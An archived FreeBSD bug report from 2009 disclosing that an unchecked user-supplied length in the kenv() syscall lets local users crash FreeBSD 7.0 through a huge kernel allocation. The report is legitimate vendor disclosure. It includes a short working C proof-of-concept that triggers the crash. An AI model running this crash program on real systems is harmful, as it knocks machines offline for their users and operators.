Skip site navigation (1)Skip section navigation (2)
Date:      Sun, 11 Jan 2009 21:23:36 GMT
From:      Nikolaos Rangos <nikolaos.rangos@googlemail.com>
To:        freebsd-gnats-submit@FreeBSD.org
Subject:   kern/130391: Normal users can crash 7.0-RELEASE through "kenv" syscall
Message-ID:  <200901112123.n0BLNano018753@www.freebsd.org>
Resent-Message-ID: <200901112130.n0BLU3i1026663@freefall.freebsd.org>

next in thread | raw e-mail | index | archive | help

>Number:         130391
>Category:       kern
>Synopsis:       Normal users can crash 7.0-RELEASE through "kenv" syscall
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    freebsd-bugs
>State:          open
>Quarter:        
>Keywords:       
>Date-Required:
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sun Jan 11 21:30:02 UTC 2009
>Closed-Date:
>Last-Modified:
>Originator:     Nikolaos Rangos
>Release:        FreeBSD 7.0 RELEASE
>Organization:
>Environment:
FreeBSD localhost.Belkin 7.0-RELEASE FreeBSD 7.0-RELEASE #0: Sun Feb 24 19:59:52 UTC 2008     root@logan.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

80 megs of RAM :) in a VM
>Description:
While digging for kernel bugs in FreeBSD 7.0-RELEASE I found the following:

There is an unchecked call to malloc() in the kenv() syscall.
Any value greater zero may be passed from user space to malloc().

Code snippet taken from sys/kern/kern_environment.c (FreeBSD 7.0):

 80 kenv(td, uap)
 81         struct thread *td;
 82         struct kenv_args /* {
 83                 int what;
 84                 const char *name;
 85                 char *value;
 86                 int len;
 87         } */ *uap;
 88 {
 89         char *name, *value, *buffer = NULL;
 90         size_t len, done, needed;
 91         int error, i;
 92 
 93         KASSERT(dynamic_kenv, ("kenv: dynamic_kenv = 0"));
 94 
 95         error = 0;
 96         if (uap->what == KENV_DUMP) {
 97 #ifdef MAC
 98                 error = mac_check_kenv_dump(td->td_ucred);
 99                 if (error)
100                         return (error);
101 #endif
102                 done = needed = 0;
103                 if (uap->len > 0 && uap->value != NULL) 
104 [1]                     buffer = malloc(uap->len, M_TEMP, M_WAITOK|M_ZERO);
105                 mtx_lock(&kenv_lock);

At line 104 uap->len is taken as an argument to malloc() without a size check what makes normal local users able to crash the kernel because of a large memory allocation. The len argument is in this case an int so the greatest value that can be taken by a normal user is 0x7fffffff.

FreeBSD 6.4 and MAYBE previous versions of FreeBSD do NOT contain this bug as there is no such call to malloc().

>How-To-Repeat:
Use this small testing program:

#include <stdio.h>
#include <kenv.h>

main() {
        char env[100];
        kenv(KENV_DUMP, NULL, env, 0x7fffffff);
}

>Fix:


>Release-Note:
>Audit-Trail:
>Unformatted:



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?200901112123.n0BLNano018753>